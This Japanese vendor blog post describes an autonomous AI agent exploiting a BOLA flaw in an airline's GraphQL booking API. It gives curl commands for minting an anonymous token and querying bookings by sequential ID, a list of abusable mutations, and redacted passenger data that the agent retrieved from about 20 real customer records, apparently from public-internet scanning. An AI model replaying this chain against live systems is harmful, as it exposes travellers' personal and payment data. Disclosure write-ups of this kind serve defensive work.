この Red Agent POV では、オブジェクトレベルの認可の欠如（BOLA）に焦点を当て、ある航空会社のGraphQL予約APIで発見された深刻な認可バイパスの脆弱性を掘り下げます。継続的なミッションの一環として、 Red Agent はパブリックインターネットとお客さまの環境を継続的にスキャンし、実際に悪用可能なリスクの発見を支援しています. 完全自律型で動作するRed Agentは、バックエンドアーキテクチャのマッピング、匿名セッションの確立、大量のデータ抽出の検証を15分以内に完了しました。このエクスプロイトにより、重要度の高い乗客データが露呈し、有効な旅程に対する完全な読み取りおよび書き込み権限が取得されました。
オブジェクトレベルの認可の欠如（BOLA）とは？
オブジェクトレベルの認可の欠如（BOLA）は、ユーザーが特定のオブジェクトやレコードにアクセスするために必要な権限を持っているかをアプリケーションが検証できない場合に発生します。これは現在、 OWASP API Security Top 10リスト で第1位となっています。
現代のクラウドアーキテクチャにおいて、APIはマイクロサービス、オーケストレーション層、機密データレイクへの直接的なプログラムアクセス用ゲートウェイとして機能します。開発者がバックエンドのリゾルバー層でユーザー固有の厳格な認可チェックを実施せずに予測可能な識別子に依存すると、システム全体が危険に晒されます。攻撃者はAPIリクエスト内の識別子を操作してフロントエンドの検証コントロールを完全にバイパスし、コアデータベースや規制対象のユーザーレコードに直接アクセスできるようになります。
Red Agentは何を発見したのか？
Red Agentは、航空会社のGraphQL予約APIがバックエンドの認可チェックを実装せずに連番の整数識別子を使用していることを発見しました。アプリケーションは異なるユーザーロール（匿名、登録ユーザー、法人ユーザーなど）に対して個別のセッション トークンを生成することでフロントエンド認証を強制していましたが、ダウンストリームのAPIリゾルバーはデータリクエストの処理時にこれらのロールを検証していませんでした。
保護されていないこれらのリゾルバーに連番の予約番号を送信することにより、Red Agentは乗客データベースへの未認証アクセスを取得しました。これにより、氏名、生年月日、請求先住所、マスキングされたクレジットカード情報、有効なフライト旅程を含む2年分の旅行記録の抽出が可能になりました。データの持ち出しにとどまらず、この匿名セッションには有効な予約を変更または削除するために必要な権限も含まれていました。
| Mutation | Operational Impact |
|---|---|
| contactsChange +bookingSet | Alter contact emails to completely hijack customer accounts |
| flightDelete | Quietly delete flight segments and cancel active trips |
| groupDivide | Arbitrarily separate passengers away from their travel groups |
| priceOverride | Manually override flight pricing structures to zero out costs |
| refundIssue /voidRefund | Issue unauthorized financial refunds back to arbitrary accounts |
このエクスプロイトをどのように発見したのか？
Red Agentは事前知識ゼロでターゲットにアプローチし、推論駆動型テストのみを頼りにシステムの動的なメンタルモデルを構築し、それに応じてスキャンを反復しました。
ターゲット
ターゲットは航空会社の主要なパブリックWebインフラストラクチャでした。Red Agentは、追加のコンテキスト、シード、認証情報なしに、単一のルートURLから評価を開始しました。初期の仮説は、外部公開されているエントリーポイントのマッピング、バックエンドAPIエンドポイントの発見、セッション管理メカニズムの特定、予約ワークフロー内のパラメーター処理の不整合の探求に焦点を当てていました。
フェーズ1：クライアントサイドのマッピングとセッションの生成
Red Agentはまず、ホームページへの一般訪問者がダウンロードするクライアントサイドのJavaScriptバンドルを体系的に分析することから始めました。この分析から、バックエンドアーキテクチャの構造的フットプリントを抽出することに成功し、専用サブドメインにあるコアAPIゲートウェイを発見し、マルチステップのトークン取得フローを特定することができました。
エージェントは、このシーケンスをリプレイすることで有効なセッションを取得できるという仮説を立てました。空の認証情報を使用してトークンフローを実行し、観察された応答に基づいて適応することで、匿名Webセッション トークンを正常に生成しました。
# Step 1: Request initial token with zero credentials
curl -s -X POST 'https://api.[redacted]/api/kdf/v2/token' \
-H 'Content-Type: application/json' \
-d '{"credentials":{"channelType":"DigitalWeb"}}'
# Step 2: Exchange initial token for an anonymous session token
curl -s 'https://api.[redacted]/api/kdf/v1/token' \
-H 'Authorization: Bearer <initial_token>'サーバーは、構造的には公開フライトスケジュールの未認証閲覧のみを目的とした、匿名Webロールコードを持つセッション トークンを発行しました。
フェーズ2：GraphQLスキーマのイントロスペクション
有効な匿名セッショントークンを手にしたRed Agentは、バックエンドのスキーマを動的にマッピングするために、包括的なGraphQLイントロスペクションクエリを実行しました。その応答によって大規模なフットプリントが明らかになりました: 514件のクエリと428件のミューテーション - すべて匿名セッションで利用可能でした。
エージェントはこれらのミューテーションを分析し、bookingRetrieveByBookingId など、単純な整数パラメータを受け取るいくつかの非常に機密性の高い操作にフラグを立てました。これらのエンドポイントには適切なバックエンド検証が欠けている可能性があるという仮説を立て、そこに調査を集中させました。
突破口
突破口は、Red Agentが、予測された特定の整数型予約IDを照会するために設計された標的型ミューテーションペイロードを作成したときに開かれました:
curl -s -X POST 'https://api.[redacted]/api/v1/graph' \
-H 'Authorization: Bearer <anonymous_session_token>' \
-H 'Content-Type: application/json' \
-d '{"query":"mutation { bookingRetrieveByBookingId(bookingId: 144 (redacted)) { recordLocator passengers { key value { name { first last } } } contacts { key value { emailAddress phoneNumbers { number } } } journeys { designator { origin destination departure } } } }"}'
バックエンドはリクエストを処理し、アクティブな顧客の編集されていない完全な予約記録を返しました。これがシステム全体の問題であることを確認するため、Red Agentは20個の連続したIDをテストしました。すべてのリクエストが個別の顧客プロフィールを返しました これには、氏名、連絡先詳細、請求先住所、フライトの旅程が含まれます。
データ露出の検証
エージェントは、データ露出の全容を検証するために、これらの発見事項を補足的なRESTエンドポイントと相互参照しました:
GET /api/kdf/v1/booking/passengers- フルネーム、生年月日、性別プロフィールGET /api/kdf/v1/booking/contacts- 個人のメールアドレス、直通電話番号GET /api/kdf/v1/booking/payments- マスクされたクレジットカード、確認済みの請求先住所
{
"recordLocator": "REDACTED",
"passengers": [{"name": {"first": "████", "last": "████"}, "dateOfBirth":
"1995-██-██"}],
"contacts": [{"emailAddress": "████@gmail.com", "phoneNumbers": [{"number": "+1-███-███-████"}]}],
"payments": [{"cardNumber": "████████████5781", "expiration": "2028-09",
"avs": {"streetAddress": "████ ██████ Blvd", "city": "████████", "state": "██"}}],
"journeys": [{"designator": {"origin": "███", "destination": "███", "departure": "███"}}]
}予約ごとに、フルネーム、生年月日、メールアドレス、電話番号、請求先住所、有効期限付きのマスクされたクレジットカード、マイレージ番号、完全な旅程などのデータが露出していることが検証されました。
これが重要である理由
従来のDASTスキャナーやシグネチャベースのツールでは、この種のロジックの欠陥を検出できません。リクエストは完全に有効なGraphQL構文と正規のエンドポイントを使用しているため、標準的なセキュリティツールにとっては異例の処理には見えません。成功したペイロードには静的なシグネチャがなく、それを発見するには、複数の連続した観察結果を結びつけることができる動的な思考モデルが必要です。
Red Agentは、クライアントサイドのコードを読み取り、認証フローを動的に抽出し、GraphQLスキーマ全体をマッピングし、匿名トークンと保護されていないデータリゾルバー間のアーキテクチャ上の関係を認識する必要がありました。このアプリケーション層の脆弱性は、クラウド環境内での被害範囲を劇的に拡大させます。コアデータベースリゾルバを認証されていないインターネットトラフィックに晒すことで、単純なロジックの欠陥が実質的にすべてのネットワークペリメータセキュリティを無効化します。現代のクラウドアーキテクチャにおいて、自動化されたエージェントがわずか数分でデータ層全体を侵害するのを防ぐ唯一の方法は、オブジェクトレベルで堅牢かつコンテキストを認識した認可を確実に実装することです。
重要ポイント
AI攻撃者はすでに存在しています: AIエージェントは、人間の指導を一切受けることなく、わずか15分でJavaScriptを読み取り、セッションを生成し、APIスキーマを発見し、認可のギャップを特定し、大手航空会社の予約データベースへの大規模なデータアクセスを確認しました。フロンティアモデルにアクセスできる攻撃者であれば、誰でも今日この攻撃チェーンを再現できます。本番システムを侵害するためのハードルは根本的に変化しました。
基本の不備が侵害につながる: これは複雑なバグではありませんでした。連番の整数IDに対する認可チェックの欠落であり、2019年以来OWASP APIで最も一般的なリスクの第1位に挙げられているものです。すべてのリゾルバーにおけるオブジェクトレベルのアクセスチェック、推測不可能な識別子、本番環境におけるGraphQLイントロスペクションの制限。これらは既知の軽減策ですが、多くの組織は導入しておらず、コーディングエージェントもバイブコーディング（vibe coding）でアプリケーションを構築する際に当然のものとしては扱いません。
従来のスキャナーはこの種の脆弱性を検知できません： Red Agentは接触するすべてのエンドポイントに対して仮説を立てるため、従来のシグネチャベースのスキャナーでは見落とされがちなマルチステップのリスクを発見することができます。
次のRed Agent POVブログを読む
Red Agentが発見するリスクの例は今後も引き続き共有していきます。シリーズの すべてのブログはこちら でご覧いただけます。お客様の環境でどのようなリスクを発見できるかを確認したい場合は、 Red Agent （ログインが必要）の詳細をご覧いただくか、当社のチームとの ライブデモ をご予約ください。
